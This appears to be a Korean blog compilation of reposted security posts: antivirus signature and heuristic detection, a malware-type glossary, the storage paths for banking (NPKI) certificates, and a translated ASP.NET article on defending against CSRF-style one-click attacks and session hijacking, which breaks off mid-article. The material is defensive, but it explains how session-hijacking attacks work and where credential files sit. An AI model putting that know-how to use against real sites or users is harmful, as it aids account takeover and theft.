시그니쳐(Signature) 기반 탐지 방법은 악성코드 파일을 유니크(Unique)하게 식별하기 위해 사용되는 방법으로, 시그니쳐는 백신 프로그램이 파일들을 스캔할 때 해당 파일을 유일하게 식별할 수 있도록 사용되는 특정 데이터 부분을 말한다. 여기서 시그니쳐는 패턴이라는 이름으로 불리기도 한다.

대부분의 백신 제품들은 해당 벤더에 알려진 모든 악성코드들을 시그니쳐 형태로 가공한 데이터베이스를 포함하고 있다. 이 데이터베이스는 바이러스 분석가 또는 시그니쳐 제작자들에 의해 식별된 새로운 악성코드들의 시그니쳐들로 정기적으로 업데이트 된다. 제품을 통해 새로운 파일들을 스캔할 때, 데이터베이스로부터 시그니쳐와 파일과의 일치 여부를 확인하게 된다.

다음은 악성코드를 식별하는 오픈소스 프로젝트 도구인 YARA의 시그니쳐 중 일부이다. 특정 String을 시그니쳐로 규정하여 파일에서 해당 String이 일치할 경우 악성코드로 식별하여 탐지하는 방법이다. 



시그니쳐를 설계하고 생성하기 위해서는 먼저 악성코드가 동작하는 운영체제와 파일의 종류들을 식별할 수 있어야 한다. 대부분의 사용자 및 기업의 PC 운영체제 환경이 윈도우(Windows) 시스템을 기반으로 구성되어져 있기 때문에 대부분의 악성코드 또한 윈도우 시스템 기반으로 제작되어 있다. 윈도우 시스템에서는 파일이 실행가능하기 위해서는 PE(Portable Executable)라는 윈도우의 실행파일 형식을 가지고 있어야 한다. 따라서 따라서 대부분의 악성코드가 PE 구조를 가지고 있으며, PE 구조 상에서의 특징을 기반으로 시그니쳐를 생성하는 경우가 많다. 



파일 전체의 데이터를 MD5 및 SHA-1등과 같은 해쉬를 통해 해쉬값을 생성하고, 해당 해쉬값을 시그니쳐로 사용하여 그 값을 비교하는 방법은 쉽게 악성코드를 유일하게 식별할 수 있다. 오진이 거의 없는 탐지 방식이지만, 해당 악성코드 샘플들을 백신 업체들이 모두 보유하고 있어서 해쉬값을 만들 수 있는 경우에만 탐지가 가능하며 악성코드 변종들을 탐지하지 못하는 단점이 있다. 일부 백신제품들에서는 아직도 이 방법을 일부 사용하기도 한다.

일부 변종들이 주로 코드부분은 동일하지만 데이터부분의 데이터들을 조금씩 바꾸는 경우가 많은 것에 착안하여 PE 구조의 코드 섹션 영역만을 해쉬하여 시그니쳐로 사용하기도 한다.

탐지의 속도 및 정확성을 증가시키기 위해 파일의 특정 위치로부터 특정 범위까지의 해쉬값을 시그니쳐로 사용하는 방식은 국내 백신업체들이 가장 많이 사용하고 있는 방식이다. 주로 파일이 실행될 때 코드의 시작지점인 엔트리 포인트를 기준으로 특정 위치를 지정하고, 그 위치로부터 특정 범위의 값을 CRC, MD5 등과 같은 해쉬값으로 계산하여 시그니쳐를 생성하는 방식이다.

일반적으로 시그니쳐 기반의 탐지 방법은 정확성이 매우 뛰어나며, 탐지 속도가 빠른 장점이 있다. 하지만 악성코드 파일이 조금만 바뀌어도 탐지를 할 수 없게 되는 문제가 많으며 변종들에 대한 탐지가 쉽지 않다. 최근의 악성코드의 급격한 증가로 수십, 수백만의 새로운 악성코드들을 모두 수집하여 시그니쳐를 생성하는 데는 무리가 있다. 이에 백신업체들은 자동화된 악성행위 분석 시스템과 시그니쳐 생성 시스템을 운영하여 접수되거나 수집된 샘플들에 대한 시그니쳐를 생성하고 변종과 새로운 악성코드들을 탐지하기에 효과적인 Heuristic 기반 탐지 기법을 병행 도입하여 악성코드에 대응하고 있다.

(2) Heuristic 기반 탐지

휴리스틱(Heuristic) 기반 탐지 방법은 시스템의 룰과 패턴을 사용하여 알려지지 않은 악성코드를 탐지하기 위해 사용하는 기법이다. 대부분의 백신제품들은 시그니쳐 기반 탐지를 보조하기 위해 향상된 탐지와 효율성의 몇가지 형태의 휴리스틱 기법을 사용한다.

시그니쳐를 사용하여 정확하게 탐지되지 않는 악성코드는 정의된 의심스러운 기준들의 휴리스틱 룰셋과 비교하여 탐지하게 된다. 특정한 코딩 기법의 사용, 의심스러운 것으로 생각되는 행위와 구문들과 그러한 의심스러운 행위들의 조합 등을 통해 해당 파일에 대한 위험을 정의한다.

변종 및 유사한 악성코드들을 Generic하게 탐지하기 위해 사용되는 Generic 탐지 기법 또한 일종의 휴리스틱 유형 중의 하나이다. 악성코드를 시그니쳐 기반 방식으로 정확하게 식별하지 못하는 경우에 알려진 악성코드들의 유사성을 고려하여 탐지할 수 있도록 사용된다.

앞서 악성코드의 일반적인 행위들을 살펴보았다. 일반적인 행위들에서 사용된 API들의 사용 빈도와 사용 순서들의 조합을 하나의 룰셋으로 정의하고 일정 임계치를 정의하여 해당 임계치 이상의 사용이 감지될 경우 악성코드로 간주하는 것도 일종의 휴리스틱 기법의 예이다.

윈도우 시스템 상에서의 PE 구조를 갖는 악성코드의 경우 다음과 같은 몇 가지 의심스러운 PE 구조 특징을 정의하고 휴리스틱 진단에 이용하게 된다.

- 코드의 실행이 마지막 섹션에서부터 시작될 경우
- 의심스러운 섹션의 Characteristics
- 의심스러운 엔트리포인트로부터 다른 섹션으로의 이동
- 의심스러운 섹션의 이름

이렇듯 휴리스틱 기반 탐지는 시그니쳐 기반 탐지에 비해 해당 룰셋을 정의하기 위해 사전 연구와 많은 분석 및 테스트가 필요하다. 과거의 백신제품들이 시그니쳐 기반 탐지 방식에 많이 의존하였다면, 최근에는 악성코드의 증가로 새로운 악성코드들의 효과적인 진단을 위해 휴리스틱 기반 탐지 기법에 대한 많은 연구와 활용이 증가하고 있다. 하지만 휴리스틱 기반 탐지 기법은 향상된 탐지 능력과 효율성을 갖게 되는 반면에 탐지 속도가 느려지는 단점이 있으며, 오탐(False Positive)의 가능성이 크다는 단점이 있다. 앞으로 얼마나 이러한 단점들을 극복해낼 수 있느냐에 백신 업체들의 기술력이 판가름 날 것이다.

(주)하우리 기술연구소 기반기술팀 연구원 최상명 

출처: 
http://ssl.hauri.co.kr/customer/security/colum_view.html?intSeq=93&page=2 
Posted by SB패밀리
홈페이지 은닉형 악성코드 유포 패턴 분석방법 연구


출처:  한국인터넷진흥원
Posted by SB패밀리
악성코드 분석 방법론

 출처: KISA - 동명대학교 정보보호동아리 THINK (2007.10.21)

 
Posted by SB패밀리
[IT/보안] 악성코드 진단 종류

Rootkit(루트킷)
자기자신 혹은 다른 악성코드가 사용자로부터 발견되지 않도록 은폐기능을 수행하는 놈
 
- Backdoor (백도어) 
공격자가 감염된 사용자의 시스템에 접속할 수 있게 하는 놈
 
- Trojan (트로이 목마)      
자체적인 확산기능은 없고, 사용자 몰래 악의적인 기능을 수행
 
- Trojan-Dropper (트로이목마-드롭퍼) 
악성코드에 포함된 추가적인 악성코드를 설치 
 
- Trojan-Exploit (트로이목마-익스플로잇) 
운영체제나 특정 프로그램의 취약점을 이용하여 공격하는 악성코드 
 
- Trojan-Downloader (트로이목마-다운로더) 
추가적인 악성코드를 인터넷이나 네트워크를 통하여 다운로드하여 설치 
 
- Trojan-PWS (트로이목마-패스워드스틸러) 
감염된 시스템에서 암호 정보를 유출하기 위해 제작된 트로이 목마 
 
- Trojan-Proxy (트로이목마-프록시)
프록시 설정을 이용하여 악의적인 기능을 수행하는 트로이목마 
 
- Trojan-Clicker (트로이목마-클리커) 
사용자의 클릭을 유도하기 위해 제작된 트로이목마 
 
- Trojan-Spy (트로이목마-스파이) 
감염된 시스템에서 다양한 정보 유출을 위해 제작된 트로이목마 
 
- Exploit (트로이목마-익스플로잇) 
운영체제나 특정 프로그램의 취약점을 이용하여 공격하는 악성코드 
 
- Adware (애드웨어) 
악의적인 팝업 및 사이트 고정등 일반적인 악성코드.
 
- Worm (웜) 
네트워크 또는 이메일 등을 통하여 자체적으로 전파되는 악성코드 
*단 E-Mail웜은 W32/Delf.234@mm 이런식으로 명명 (@mm이 붙으면 이메일웜)
 
- W32/Win32 (바이러스) 
Microsoft Windows 32bit 기반 운영체제에서 동작하는 파일 감염 바이러스 
 
- W95/ win95 (바이러스) 
Microsoft Windows 95 운영체제에서 동작하는 파일 감염 바이러스 
 
- Joke (조크) 
악의적인 기능은 없으며 사용자를 놀라게 하거나 장난으로 만들어진 파일 
 
- Constructor (컨스트럭터) 
악의적인 기능의 프로그램을 쉽게 만들기 위해 제작된 프로그램 
 
-PP7M,XF,X97M,W97M
매크로 바이러스 (ppt,워드,엑셀 등등..)


=======================================================
※ Win-PUP 진단명은 유해 가능 프로그램에 대한 진단으로 악의적인 목적으로 제작되지 않았지만, 사용자에게 피해(불편)를 줄 수 있는 파일(프로그램)을 의미합니다.
 
Posted by SB패밀리
아이쇼소프트 사의 아이쇼 사이드바가 알약 2011.08.01 일자로 악성코드로 진단되었습니다.

트로이목마 Trojan.Generic.6277621(1) 로 분류되었습니다.

실행 파일명은 softsideengine.exe 다른 파일명으로 배포 될 수도 있습니다.

만약, 알약 악성코드 진단 오진이면 알려주세요.



Posted by SB패밀리

[IT/보안] 윈도7에서 인터넷뱅킹파일(NPKI)

Windows XP를 사용하다가 Windows 7로 넘어왔는데 인증서를 복사해서 넣었을 때 안되는 경우 아래와 같이 해보세요.


[NPKI  (인터넷뱅킹)]

+ Windows XP , Vista

 C:\Program Files\NPKI

+ Windows 7 (64bit)

 C:\Users\[user id]\AppData\LocalLow\NPKI

+ SignKorea (증권용) , Yessign (은행용)

* XP / Vista 64bit 버전이라면 Program Files(x86)과 Program Files 둘 다에 복사하는 편이 좋다.

(제가 테스트한 경우 Program Files 폴더에 있을 때 제대로 동작)



[ISP인증서 (카드결제)]


+ Windows XP 

 C:\Windows\Application Data\VCard

+ Windows Vista , Windows 7 (64bit)

 C:\Users\[user id]\AppData\LocalLow\KVP\Application Data\Vcard

* 윈도우 버전에 따라 저장위치가 다르니 참고하시기 바랍니다.

* 공인인증서는 1년이 넘기 전에 기한연장을 해줘야 계속 쓸 수 있다.
   그런데 문제는 이 기한연장이 공인인증서를 최초로 발급했던 금융기관에서만 됩니다.
   만약 발급했던 금융기관을 모른다면 ttp://www.yessign.or.kr 에서 공인인증서를 확인합니다.

Posted by SB패밀리

ASP.NET 기본 제공 기능을 활용하여 웹 공격 차단

 

Dino Esposito
Wintellect

적용 대상
   Microsoft ASP.NET 1.x
   Microsoft ASP.NET 2.0

요약: 가장 일반적인 웹 공격 유형을 요약하여 설명하고 웹 개발자가 ASP.NET의 기본 제공 기능을 사용하여 보안을 향상시킬 수 있는 방법을 설명합니다.

목차

ASP.NET 개발자가 항상 수행해야 하는 작업
위협 요인

ViewStateUserKey
쿠키와 인증
세션 가로채기
EnableViewStateMac
ValidateRequest
데이터베이스 관점
숨겨진 필드
전자 메일과 스팸
요약
관련 리소스

ASP.NET 개발자가 항상 수행해야 하는 작업

이 기사의 독자 여러분은 웹 응용 프로그램에서 보안의 중요성이 점점 커지고 있다는 사실을 굳이 강조하지 않더라도 잘 알고 계실 것입니다. ASP.NET 응용 프로그램에서 보안을 구현하는 방법에 대한 실용적인 정보를 찾고 계시겠죠? ASP.NET을 포함한 어떤 개발 플랫폼을 사용한다고 해도 완벽하게 안전한 코드 작성을 보장해 주지는 못합니다. 만일 그렇다고 말한다면 그것은 거짓말입니다. 그러나 ASP.NET의 경우, 특히 버전 1.1과 다음 버전인 2.0에서는 바로 사용할 수 있도록 기본 제공되는 많은 방어 관문이 통합되어 있습니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).

이러한 모든 기능을 갖춘 응용 프로그램이라 하더라도 단독으로는 발생 및 예측 가능한 모든 공격으로부터 웹 응용 프로그램을 보호할 수는 없습니다. 그러나 기본 제공 ASP.NET 기능을 다른 방어 기술 및 보안 전략과 함께 사용한다면 응용 프로그램이 안전한 환경에서 작동하는 데 도움이 되는 강력한 도구 키트를 만들 수 있습니다.

웹 보안은 개별 응용 프로그램의 경계를 넘어 데이터베이스 관리, 네트워크 구성, 사회 공학 및 피싱(phishing) 등이 포함되는 전략의 결과와 다양한 요소의 집약체입니다.

이 기사의 목적은 높은 수준의 보안 장벽을 유지하기 위해 ASP.NET 개발자가 항상 수행해야 하는 작업에 대해 살펴보는 것입니다. 즉, '보안'을 위해 개발자는 항상 감시하고, 완벽하게 안전하다고는 믿지 않으며, 해킹을 점점 더 어렵게 만들어야 합니다.

이러한 작업을 단순화하기 위해 ASP.NET에서 제공해야 하는 사항에 대해 알아보겠습니다.

위협 요인

표 1에는 가장 일반적인 웹 공격 형태와 이러한 웹 공격을 가능하게 하는 응용 프로그램의 결함이 요약되어 있습니다.

공격 공격을 가능하게 하는 요인
교차 사이트 스크립팅(XSS) 신뢰할 수 없는 사용자 입력이 해당 페이지로 반향됨
SQL 주입 사용자 입력 내용을 연결하여 SQL 명령을 형성함
세션 가로채기 세션 ID 추측 및 유출된 세션 ID 쿠키
한 번 클릭 인식하지 못하는 HTTP 게시가 스크립트를 통해 전송됨
숨겨진 필드 변조 선택되지 않은(신뢰할 수 있는) 숨겨진 필드가 중요 데이터로 채워져 있음

표 1. 일반적인 웹 공격

이 목록에서 알 수 있는 중요한 사실은 무엇일까요? 최소한 다음 세 가지를 알 수 있습니다.

  • 브라우저의 태그에 사용자 입력을 삽입할 때마다 잠재적으로 코드 주입 공격(SQL 주입 및 XSS의 변종)에 노출될 수 있습니다.
  • 데이터베이스 액세스 작업은 안전하게 수행되어야 합니다. 즉, 계정에 최소한의 사용 권한 집합을 사용하고 역할을 통해 개별 사용자의 책임을 제한해야 합니다.
  • 중요한 데이터는 네트워크를 통해 일반 텍스트 형태로 전송해서는 안 되며 안전하게 서버에 저장되어야 합니다.

흥미롭게도, 위 세 가지 사항은 웹 보안의 세 측면에 대한 설명입니다. 이러한 측면을 모두 조합해야만 안전하고 변조가 어려운 응용 프로그램을 빌드할 수 있습니다. 웹 보안의 측면은 다음과 같이 요약할 수 있습니다.

  • 코딩 방식: 데이터 유효성 검사, 유형 및 버퍼 길이 검사, 변조 방지 방법
  • 데이터 액세스 전략: 역할을 사용하여 가장 권한이 적은 계정을 사용하도록 하고 저장 프로시저 또는 적어도 매개 변수화된 명령을 사용합니다.
  • 효과적인 저장 및 관리: 클라이언트에 중요한 데이터를 보내지 않고, 해시 코드를 사용하여 조작을 감지하고, 사용자를 인증하고 ID를 보호하며, 엄격한 암호 정책을 적용합니다.

아시다시피 보안 응용 프로그램은 개발자, 설계자 및 관리자가 함께 노력해야만 만들 수 있습니다. 다른 방법으로는 만들 수 없습니다.

ASP.NET 응용 프로그램을 작성할 때는 아무리 뛰어난 개발자라도 코드만 입력해서 해커에 대항할 수 있다고 생각해서는 안 됩니다. ASP.NET 1.1 이상에서 제공하는 몇 가지 특정 기능을 사용하면 위에서 설명한 위협에 대한 자동 관문을 만들 수 있습니다. 이제 이러한 기능에 대해 자세히 검토해 보겠습니다.

ViewStateUserKey

ASP.NET 1.1부터 도입된 ViewStateUserKey는 개발자에게도 그다지 익숙하지 않은 Page 클래스의 문자열 속성입니다. 그 이유는 무엇일까요? 이와 관련된 설명서의 내용을 살펴보겠습니다.

현재 페이지와 연결된 뷰 상태 변수에서 개별 사용자에 ID를 할당합니다.

스타일은 매우 복잡해도 문장의 의미는 분명하게 나타납니다. 하지만, 이 문장이 속성의 목적을 제대로 설명하고 있다고 생각하십니까? ViewStateUserKey의 역할을 이해하려면 참고 절까지 좀 더 읽어 봐야 합니다.

속성을 사용하면 추가 입력 작업을 통해 뷰 상태 위조를 방지하는 해시 값을 만들어 한 번 클릭 공격을 막을 수 있습니다. 즉, ViewStateUserKey로 인해 해커가 클라이언트쪽 뷰 상태의 콘텐츠를 사용하여 사이트를 악의적으로 게시하기가 어려워졌습니다. 이 속성에는 기본적으로 세션 ID나 사용자의 ID 같은 비어 있지 않은 문자열을 할당할 수 있습니다. 이 속성의 중요성을 보다 잘 이해하기 위해 한 번 클릭 공격의 기본 사항을 간략하게 검토해 보겠습니다.

한 번 클릭 공격은 알려진 취약한 웹 사이트에 악성 HTTP 양식을 게시하는 방법으로 수행됩니다. 이 공격은 일반적으로 사용자가 전자 메일을 통해 수신하거나 방문자가 많은 포럼을 탐색하다가 발견한 링크를 무의식적으로 클릭할 경우 시작되기 때문에 "한 번 클릭" 공격이라고 합니다. 이 링크를 따라 가면 사이트에 악성 <form>을 제출하는 원격 프로세스가 시작됩니다. 솔직히 말해서 10억을 벌려면 여기를 클릭하십시오 같은 링크를 보면 누구나 호기심으로 한 번쯤 클릭해 볼 수 있습니다. 언뜻 보기에는 여러분에게 문제가 될 일은 없습니다. 그렇다면 웹 커뮤니티의 나머지 사용자들에게도 아무런 문제가 없을까요? 그것은 아무도 알 수 없습니다.

한 번 클릭 공격이 성공하기 위해서는 다음과 같은 배경 조건이 필요합니다.

  • 공격자가 해당 취약 사이트에 대해 잘 알고 있어야 합니다. 이는 공격자가 파일에 대해 "열심히" 연구하거나, 불만이 많은 내부자(예: 해고된 직원 및 부정직한 직원)이기 때문에 가능합니다. 그렇기 때문에 공격자는 매우 위협적인 존재일 수 있습니다.
  • 해당 사이트가 Single Sign-On을 구현하기 위해 쿠키(특히 영구 쿠키)를 사용 중이어야 하며 공격자는 유효한 인증 쿠키를 받아서 가지고 있어야 합니다.
  • 사이트의 특정 사용자가 중요한 트랜잭션에 관련되어 있습니다.
  • 공격자에게 대상 페이지에 대한 액세스 권한이 있어야 합니다.

앞에서 설명한 것처럼 공격은 양식이 필요한 페이지에 악성 HTTP 양식을 제공하는 방법으로 수행됩니다. 그러면 이 페이지는 분명히 게시된 데이터를 사용하여 중요한 작업을 수행할 것입니다. 이때 공격자는 각 필드의 사용 방법을 정확히 파악하여 스푸핑한 값을 통해 자신의 목적을 달성할 수 있습니다. 이러한 공격은 보통 특정 대상을 공격하기 위한 것이며, 해커가 자신의 사이트에 있는 링크를 클릭하도록 공격 대상을 유도하여 제 3의 사이트에 악성 코드를 게시하는 '삼각 작업'을 설정하므로 역추적하기가 어렵습니다(그림 1 참조).


그림 1. 한 번 클릭 공격

왜 의심받지 않는 희생자가 필요할까요? 서버의 로그에는 악의적인 요청이 발생지의 IP 주소가 희생자의 IP 주소로 기록되기 때문입니다. 앞서 언급했듯이 이 공격은 "일반" XSS 처럼 일반적이거나 수행하기가 쉽지는 않지만, 그 특성으로 인해 파괴적인 공격이 될 수 있습니다. 이 공격의 해결책은 무엇일까요? ASP.NET을 중심으로 공격 메커니즘을 검토해 보겠습니다.

Page_Load 이벤트에서 동작을 코딩하지 않으면 ASP.NET 페이지가 포스트백(postback) 이벤트 외부에서 중요한 코드를 실행할 수 있는 방법이 없습니다. 포스트백(postback) 이벤트가 발생하려면 뷰 상태 필드가 반드시 필요합니다. ASP.NET은 요청의 포스트백(postback) 상태를 확인하고 _VIEWSTATE 입력 필드의 존재 여부에 따라 IsPostBack을 설정합니다. 따라서 ASP.NET 페이지에 위조된 요청을 보내려는 사람은 누구나 유효한 뷰 상태 필드를 제공해야 합니다.

한 번 클릭 공격이 작동하기 위해서는 해커에게 해당 페이지에 대한 액세스 권한이 있어야 합니다. 이를 예측한 해커는 해당 페이지를 로컬에 저장해 둡니다. 따라서 _VIEWSTATE 필드에 액세스해 이를 사용하여 이전 뷰 상태와 다른 필드의 악성 값이 있는 요청을 만들 수 있습니다. 이 공격은 성공할까요?

물론입니다. 공격자가 올바른 인증 쿠키를 제공하는 경우 해커가 침입하여 요청이 정식으로 처리됩니다. EnableViewStataMac이 해제된 경우 서버에서 뷰 상태 콘텐츠는 전혀 확인되지 않거나 변조 방지에 대해서만 확인됩니다. 기본적으로 뷰 상태에서는 해당 콘텐츠를 특정 사용자에게만 제한할 수 없습니다. 공격자는 해당 페이지에 합법적으로 액세스해서 얻은 뷰 상태를 쉽게 재사용하여 다른 사용자 대신 위조된 요청을 만들 수 있습니다. 이 문제를 해결하기 위해 필요한 것이 ViewStateUserKey입니다.

속성을 정확하게 선택한 경우 사용자 고유 정보가 뷰 상태에 추가됩니다. 요청이 처리되면 ASP.NET이 뷰 상태에서 키를 추출하여 이를 실행 중인 페이지의 ViewStateUserKey와 비교합니다. 두 속성이 일치하면 해당 요청은 적법한 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 속성의 유효 값은 무엇일까요?

ViewStateUserKey를 일정한 문자열로, 즉 모든 사용자에 동일하게 설정하는 것은 빈 상태로 두는 것과 같습니다. 이 속성은 사용자마다 다른 값, 즉 사용자 ID나 세션 ID로 설정해야 합니다. 여러 가지 기술 및 사회적인 이유로 인해 예측이 불가능하고 시간 초과가 있으며 사용자마다 다른 세션 ID가 보다 적합합니다.

다음은 모든 페이지에 있어야 하는 코드입니다.

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

이 코드를 계속 다시 쓰지 않도록 하려면 Page 파생 클래스의 OnInit 가상 메서드에 이를 포함시킵니다. Page.Init 이벤트에서 이 속성을 설정해야 합니다.

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

저의 다른 기사인 더욱 탄탄한 기초 위에 ASP.NET 페이지 작성하기에서 설명한 것처럼 전반적으로 볼 때 항상 기본 페이지 클래스를 사용하는 것이 좋습니다. aspnetpro.com 에서 한 번 클릭 공격자의 기술에 대한 자세한 내용이 수록된 기사를 확인할 수 있습니다.

쿠키와 인증

쿠키는 개발자가 원하는 작업을 수행하는 데 도움이 됩니다. 쿠키는 브라우저와 서버 사이에서 일종의 영구 링크로 동작합니다. 특히 Single Sign-On을 사용하는 응용 프로그램의 경우 공격자는 쿠키를 알아냄으로써 공격을 수행할 수 있습니다. 한 번 클릭 공격의 경우가 특히 그러합니다.

쿠키를 사용하기 위해 프로그래밍 방식으로 쿠키를 명시적으로 만들고 읽을 필요는 없습니다. 세션 상태를 사용하고 양식 인증을 구현하는 경우에는 암시적으로 쿠키를 사용합니다. 물론 ASP.NET은 쿠키를 사용하지 않는 세션 상태를 지원하며 ASP.NET 2.0도 쿠키를 사용하지 않는 양식 인증을 도입했습니다. 따라서 이론적으로는 쿠키를 사용하지 않고도 해당 기능을 사용할 수 있습니다. 그러나 이 경우 공격을 위해 쿠키를 사용하지 않는 것이 쿠키를 사용하는 것보다 더 위험할 수 있습니다. 실제로 쿠키를 사용하지 않은 세션에서는 세션 ID가 URL에 포함되므로 모든 사람이 볼 수 있습니다.

쿠키를 사용하는 경우 발생할 수 있는 문제는 무엇일까요? 쿠키는 도난당하여 해커의 시스템에 복사될 수 있으며 악성 데이터로 채워진 상태가 될 수 있습니다. 이를 시작으로 공격이 감행되는 경우가 많습니다. 도난당한 인증 쿠키가 사용자를 대신해서 외부 사용자에게 응용 프로그램에 연결하고 보호된 페이지를 사용하도록 "권한을 부여"하면, 해커는 인증 과정을 무시하고 해당 사용자에게만 허용된 역할과 보안 설정을 수행할 수 있습니다. 이러한 이유로 인증 쿠키는 보통 비교적 짧은 시간 동안(30분)만 부여됩니다. 따라서 브라우저의 세션이 완료되는 데 이보다 오랜 시간이 걸리더라도 쿠키는 만료됩니다. 쿠키가 유출되는 경우 해커는 30분 동안 창에서 공격을 시도할 수 있습니다.

너무 자주 로그온하지 않도록 하기 위해 이 창을 연장 사용할 수는 있지만 여기에는 위험 부담이 따름을 기억하십시오. 어떠한 경우에도 ASP.NET 영구 쿠키는 사용하지 마십시오. 영구 쿠키를 사용하면 사실상 쿠키의 수명이 영구적으로(50년까지) 연장됩니다. 아래의 코드 조각을 참고하여 여유가 있을 때 쿠키 만료를 수정해 보십시오.

void OnLogin(object sender, EventArgs e) {
   // 자격 증명 검사
   if (ValidateUser(user, pswd)) {
      // 쿠키 만료일 설정
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // 응답에 쿠키 추가
      Response.Cookies.Add(cookie);

      // 리디렉션
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)

자신의 로그인 양식에서 이 코드를 사용하면 인증 쿠키의 수명을 정밀 조정할 수 있습니다.

세션 가로채기

쿠키는 특정 사용자의 세션 상태를 검색하는 데도 사용됩니다. 해당 세션의 ID는 요청과 함께 이동하는 쿠키에 저장되어 해당 브라우저 컴퓨터에 저장됩니다. 다시 말하지만 세션 쿠키가 유출되는 경우 해커가 해당 시스템으로 침입하여 다른 사용자의 세션 상태에 액세스하는 데 사용될 수 있습니다. 이러한 현상은 지정된 세션이 활성 상태인 동안(보통 20분 미만)에만 발생 가능합니다. 이렇게 스푸핑된 세션 상태를 통해 수행되는 공격을 세션 가로채기라고 합니다. 세션 가로채기에 대한 자세한 내용은 Theft On The Web: Prevent Session Hijacking 을 참조하십시오.

이러한 공격은 얼마나 위험해질 수 있을까요? 대답하기가 어렵군요. 해당 웹 사이트에서 수행하는 작업, 그리고 보다 중요하게는 해당 페이지의 디자인 방법에 따라 차이가 있습니다. 예를 들어 다른 사람의 세션 쿠키를 알아내서 이를 해당 사이트에 있는 페이지에 대한 요청에 첨부할 수 있다고 가정해 보십시오. 페이지를 로드하여 해당 일반 사용자 인터페이스를 통해 작업할 수 있습니다. 페이지에 코드를 주입할 수 없으며, 해당 페이지에서 다른 사용자의 세션 상태를 사용하여 현재 작업 중인 내용을 제외하고 페이지 내용을 변경할 수도 없습니다. 이는 그 자체로는 나쁠 것이 없지만 세션의 정보가 중요한 경우 해커가 이를 바로 공격에 악용할 수 있습니다. 해커는 세션 저장소의 콘텐츠를 검색할 수는 없지만 합법적으로 로그인한 것처럼 저장된 내용을 사용할 수는 있습니다. 예를 들어 사용자가 사이트를 검색하면서 쇼핑 카트에 품목을 추가하는 전자 상거래 응용 프로그램을 가정해 보십시오.

  • 시나리오 1. 쇼핑 카트의 내용이 세션 상태에 저장됩니다. 체크 아웃하면 이 내용을 확인하고 보안 SSL 연결을 통해 지불 내역을 입력하도록 사용자에게 요청합니다. 이 경우 다른 사용자의 세션 상태에 연결해도 해커는 공격 대상의 쇼핑 선호도에 대한 정보만을 일부 알 수 있을 뿐입니다. 이러한 상황에서는 가로채기가 수행되어도 실제로는 아무런 손실이 없으며 정보의 기밀 유지에만 위험이 존재합니다.
  • 시나리오 2. 응용 프로그램이 등록된 각 사용자의 프로필을 처리하여 세션 상태에 저장합니다. 그런데 이 프로필에는 신용 카드 정보가 포함되어 있습니다. 왜 세션에 사용자 프로필 세부 정보를 저장할까요? 이는 십중팔구 이 응용 프로그램의 목표 중 하나가 사용자가 자신의 신용 카드 및 은행 정보를 계속 반복해서 입력하지 않도록 하는 것이기 때문입니다. 그러므로 체크 아웃하면 응용 프로그램은 내용이 미리 채워진 필드가 있는 페이지로 사용자를 이동시킵니다. 이러한 필드 중 하나에는 세션 상태에서 가져온 신용 카드 번호가 나와 있습니다. 결과는 말씀 안 드려도 아시겠죠?

응용 프로그램 페이지의 디자인은 세션 가로채기 공격을 막는 데 중요합니다. 그러나 두 가지 질문이 아직 남아 있습니다. 즉, 쿠키 도난을 막는 방법과 가로채기를 감지 및 차단하기 위해 ASP.NET에서 수행하는 작업입니다.

ASP.NET 세션 쿠키는 아주 간단하며 세션 ID 문자열만을 포함하도록 제한되어 있습니다. ASP.NET 런타임은 쿠키에서 세션 ID를 추출해서 이를 활성 세션에 대해 검사합니다. ID가 유효하면 ASP.NET은 해당 세션에 연결하여 작업을 계속 진행합니다. 이러한 동작으로 인해 해커가 유효한 세션 ID를 훔치거나 알아낸 경우 매우 간단하게 공격을 할 수 있습니다.

클라이언트 PC에 대한 무단 액세스뿐 아니라 XSS 및 "man-in-the-middle" 공격을 통해서도 유효한 쿠키를 가져올 수 있습니다. 쿠키 도난을 방지하려면 XSS와 모든 변종 방식이 성공하지 못하도록 최적의 방식으로 보안을 구현해야 합니다.

대신, 세션 ID 추측을 방지할 때는 자신의 기술을 과대 평가하지만 않으면 됩니다. 세션 ID를 추측한다는 것은 유효한 세션 ID 문자열을 예측하는 방법을 알고 있음을 의미합니다. ASP.NET에서 사용하는 알고리즘(15개의 난수가 URL 사용 문자로 매핑됨)의 경우 우연히 유효한 ID를 추측할 가능성은 거의 없다고 할 수 있습니다. 따라서 기본 세션 ID 생성기를 자신이 사용하는 세션 ID 생성기로 바꿔야 할 이유는 없습니다. 그렇게 하면 대부분의 경우 공격에 더 취약해집니다.

세션 가로채기의 보다 심각한 문제는 공격자가 쿠키를 훔치거나 추측한 후에는 ASP.NET에서 쿠키의 악용을 감지할 수 있는 방법이 거의 없다는 것입니다. 그 이유는 ASP.NET의 역할이 ID의 유효성을 확인하고 쿠키의 출처를 묻는 것으로 제한되어 있기 때문입니다.

저의 Wintellect 동료인 Jeff Prosise가 MSDN Magazine에 세션 가로채기에 관한 훌륭한 기사를 썼습니다. 훔친 세션 ID 쿠키를 사용하는 공격을 완벽하게 방어하는 것은 사실상 불가능하다는 그의 결론은 다소 허탈한 것이 사실이지만, Jeff가 개발한 코드는 보다 높은 수준의 보안을 구축하는 데 도움이 됩니다. Jeff는 세션 ID 쿠키에 대한 들어오는 요청과 나가는 응답을 모니터링하는 HTTP 모듈을 만들었습니다. 이 모듈은 나가는 세션 ID에 해시 코드를 추가하여 공격자가 이 쿠키를 다시 사용하는 것을 어렵게 만듭니다. 자세한 내용은 여기서 확인할 수 있습니다.

EnableViewStateMac

